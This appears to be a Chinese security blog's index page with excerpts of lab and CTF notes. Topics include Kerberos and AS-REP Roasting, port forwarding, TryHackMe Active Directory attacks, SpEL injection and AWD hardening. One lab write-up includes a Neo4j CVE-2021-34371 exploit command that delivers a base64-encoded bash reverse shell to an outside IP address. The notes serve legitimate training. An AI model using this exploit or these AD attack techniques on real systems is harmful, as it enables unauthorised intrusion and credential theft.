Windows域-Kerberos协议
这里的话其实是在thm简单的了解和查看了一遍 然后在打靶机的时候又遇到了 所以就自己写一下 加深印象
参考文章
介绍Kerberos 是一种网络认证协议, 其设计目标是通过密钥系统为 客户机 服务器 应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥) 执行认证服务的
其实也是两大AD域身份验证协议之一 另一个是NTLM协议 (微软专用)
这个协议默认是88端口
参与对象
KDC : KDC是负责Kerberos协议的主要服务。该服务在域控制器服务器上运行。它包含 Active Directory 环境中所有客户端和服务帐户的信息和密码哈希。这些密码哈希值在 Kerberos 协议期间用作共享密钥
Authentication Service (AS) : 它是密钥分发中心中负责认证步骤的模块。该模块通过检查客户端是否在Active Direc ...
AD域-预身份验证
写这个知识点是因为在这个打春秋云镜的时候遇到的 所以写一下来加深印象
预身份验证在用户进行主机登录时 就会用到这个两大协议之一的Kerberos协议
Windows域-Kerberos协议
其实在分析这个协议的时候就有讲到这个预身份认证
就是在这个申请这个TGT票据的时候
AS_REQ 的时候默认是会开启这个预身份验证
这样子造成的危害就是域控这边的话就不会对该用户进行身份验证 然后就直接返回TGT和session_key了
(如果开启的话 就不会出现这种情况 并且还可以防止在线爆破密码 因为KDC会记录失败次数 然后采取必要措施)
漏洞利用那么返回这两个有什么用呢 这里的话就会用到这个session_key 因为这个session_key的话使用用户的密码hash进行加密的 所以我们在获取这个session_key之后 就可以进行离线爆破出密码hash 然后再通过密码hash爆破出明文密码
那么这种攻击方式的话是叫 AS-REP Roasting攻击
条件
就是没有开启预身份验证
这里的话我们使用的是GetNPUsers.py这个工具
1proxycha ...
端口转发和流量代理
这里流量代理使用工具的话是参考这个师傅的
fushuling
端口转发和流量代理虽然这里我在thm学了 但是我感觉实践起来还是有点差别的
端口转发端口转发通常是针对特定的端口进行配置和转发。您可以选择性地将特定端口的流量转发到目标主机的对应端口。例如,您可以将本地主机的端口80转发到远程主机的端口80,实现对远程主机上的Web服务的访问。但是端口转发并不限制只能转发一个端口,您可以根据需求进行多个端口的转发配置。
看这个的话 因为我们的攻击机的话是不能直接访问这个 服务器开放的端口的 我们就只能使能访问该端口的内网主机 来将端口转发出来给我们 这样的话我们的攻击机就能访问到该开放的端口
(记得在自己的攻击机上将端口开放出来 用于连接转发出来的端口)
流量代理这个知识点的话就和我们使用的vpn来翻墙是一个道理的
代理可以处理多个端口的流量,并根据配置进行灵活的转发和处理。代理服务器可以接收来自客户端的请求,并将其转发到目标服务器,然后将响应返回给客户端。代理可以是基于特定协议(如HTTP代理、SOCKS代理)或应用层代理(如反向代理)。代理可以将不同端口的流量转发到不同的目标 ...
春秋云镜-Time
先进行扫描
Neoej 直接google找洞
https://github.com/vulhub/vulhub/blob/master/neo4j/CVE-2021-34371/README.zh-cn.md
1& 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -jar .\rhino_gadget.jar rmi://39.99.152.125:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzMzODkgMD4mMQ}|{base64,-d}|{bash,-i}"
反弹shell到自己的主机
home目录下存在flag
我的习惯是会再弹一个shell给msf
然后上传fscan开始扫描
信息整理
1234567172.22.6.36 getshell主机 linux172.22.6.25 win2019 域内主机172.22.6.12 ...
thm-利用AD域
接着上文的横向移动完结 开始新的利用AD域
Delegation—————-
环境配置不讲了利用权限委托(Exploiting Permission Delegation)这个考察的就是委派
Active Directory 可以通过称为权限委派的功能委派权限和特权(不要与下一个任务中将讨论的 Kerberos 委派混淆)。授权是AD在组织中如此强大的原因。想象一下,我们为一个拥有 50000 名员工的组织工作。由于我们关心安全性,因此我们只有三个用户可以访问 DA 凭据。这三个用户不可能处理来自用户的所有请求,例如重置其密码。使用委派,我们可以将强制更改用户密码的权限委派给支持团队,这意味着他们现在具有此特定功能的委派权限。原则上,为了保证授权的安全,应遵循最小特权原则。然而,在大型组织中,这说起来容易做起来难。在此任务中,我们将研究如何利用一些委派错误配置
权限委派攻击通常称为基于 ACL 的攻击。AD 允许管理员配置填充任意访问控制列表 (DACL) 的访问控制项 (ACE),因此称为基于 ACL 的攻击。几乎任何 AD 对象都可以使用 ACE 进行保护,然后 ACE 描 ...
thm-windows横向移动和翻转
接上一课的枚举AD域信息后(就是域的信息收集) 开始进行横向移动和翻转了
网络移动 (横向移动)简而言之,横向移动是攻击者用来在网络中移动的一组技术。一旦攻击者获得对网络第一台计算机的访问权,出于多种原因,移动就变得至关重要,其中包括: - 实现攻击者的目标 - 绕过现有的网络限制 - 建立额外的网络入口点 - 制造混乱和避免被发现。
虽然许多网络杀伤链将横向移动视为线性过程的附加步骤,但它实际上是循环的一部分。在此周期中,我们使用任何可用的凭据来执行横向移动,使我们能够访问新机器,在其中我们可以提升权限并提取凭据(如果可能)。有了新的凭证,循环又开始了。
通常,我们会重复这个循环几次,然后才能达到网络上的最终目标。如果我们的第一个立足点是一台几乎无法访问其他网络资源的计算机,那么我们可能需要横向移动到在网络上拥有更多权限的其他主机。
A Quick Example 一个简单的例子假设我们正在执行红队参与,我们的最终目标是到达内部代码存储库,我们通过网络钓鱼活动在目标网络上获得了第一次妥协。通常,网络钓鱼活动对非技术用户更有效,因此我们的第一次访问可能是通过营销部门的机器进行的。
...
thm-枚举AD域
继上一篇的破坏AD域后 接下来写这个枚举AD域
为什么要进行 AD 枚举前面跟着进行配置就好了
这里的话给了AD域的凭证 就是账号密码 直接就可以进行登录了
(这个域用户的主机开启了ssh和RDP服务 我们可以直接连接其电脑)
凭证注入这里的讲的就是在获取域凭证之后 利用RDP或者SSH登录后 来在该域中添加一个新的域用户(就是我们自己) 相当于后门吧
在讨论 AD 对象和枚举之前,我们首先讨论凭据注入方法。从破坏 AD 网络中,您会发现凭据通常可以在不损害加入域的计算机的情况下找到。特定的枚举技术可能需要特定的设置才能工作。
需要一台 Windows 计算机。这将使我们能够使用几种内置方法来进行枚举和利用。在此网络中,我们将探索这些内置工具之一,称为 runas.exe 二进制文件。
Runas Explained (解释)讲一下这个Runas这个工具的作用
runas.exe 是 Windows 操作系统中的一个实用工具,用于以不同的用户身份运行程序或命令。它允许你在一个用户账户下以另一个用户账户的权限运行程序。
runas.exe 的主要功能是允许管理员或具有特定权限的 ...
thm-破坏AD域
上个星期刚把域控的部分看了一遍
这是本题的这个网络拓扑图
搭建环境就不多说了 跟着做就行了
破坏AD域的几种方法
以下技术来恢复此网络中的 AD 凭据:
开源情报 (OSINT) 和网络钓鱼开始可以先从这里来获取情报
获取第一组 AD 凭据的两种流行方法是开源情报 (OSINT) 和网络钓鱼
这些地方可能都会导致凭证泄露
HaveIBeenPwned 和 DeHashed 等网站提供了出色的平台,可以确定某人的信息(例如工作电子邮件)是否曾经涉及公开的数据泄露事件。
NTLM 验证服务新技术 LAN 管理器 (NTLM) 是一套用于在 AD 中验证用户身份的安全协议。 NTLM 可用于通过使用称为 NetNTLM 的基于质询-响应的方案进行身份验证。这种身份验证机制被网络上的服务大量使用。但是,使用 NetNTLM 的服务也可以暴露在互联网上。以下是一些流行的例子:
Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.公开 Outlook We ...
java-SpEL表达式注入
参考文章
boo Mi1k7ea 先知社区
无意中看到这个SpEL这个表达式注入 想着不会 就找了几篇文章来进行学习一下
SpEL简介
直接复制照片
SpEL定界符#{}与${}这两个东西一点都不相同,${}只是单纯的一个占位符,会引起一些注入,比如SQL注入之类的。而#{}这就是SPEL特有的定界符。中间的内容会被解析。
类型表达式T()
理论的东西比较难理解 还是写个demo来演示一下吧
这个T()的意思就是将括号里面的内容解析成一个类
SpEL表达式
这个变量和表达式的用法呢
在这个文章里面有详细的介绍 这里就不多写了
就是调用bean的流程和操作
使用SpEL进行RCE接下来是挨个介绍可使用的方法
ProcessBuilder123456789101112131415package com.example.ke1nys;import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser ...
AWD-初学习
php可以直接进行修改 不用重启服务
java需要重启 就是先将jar包下载下来 然后使用codeqlpy工具进行扫描 然后进行修改 然后编译后 将代码进行替换(就是有问题的class) 然后找到jar所在的进程(ps aux|grep JavaMaster.jar ) 找到之后 然后kill掉进程就行(kill 进程号) 然后在把修改好的上传上来 进行nohup java -jar JavaMaster.jar > log.txt & 使其在后台进行运行
(上面的图片先留着 先不删 到时候主要用xftp)
查看端口被谁占用 lsof -i:8080
查找目标进程的pid ps -aux |grep xxx.jar
第一点就是就是开局前有45分钟加固时间
必须先进行密码的修改
ssh mysql redis 网站后台
启动mysql的方法 还有修改登录密码的方法
这是开启的方法
接下来是redis的登录方法
redis修改密码
其实还有一个小问题,就是,通过命令行修改了密码之后,配置文件的requ ...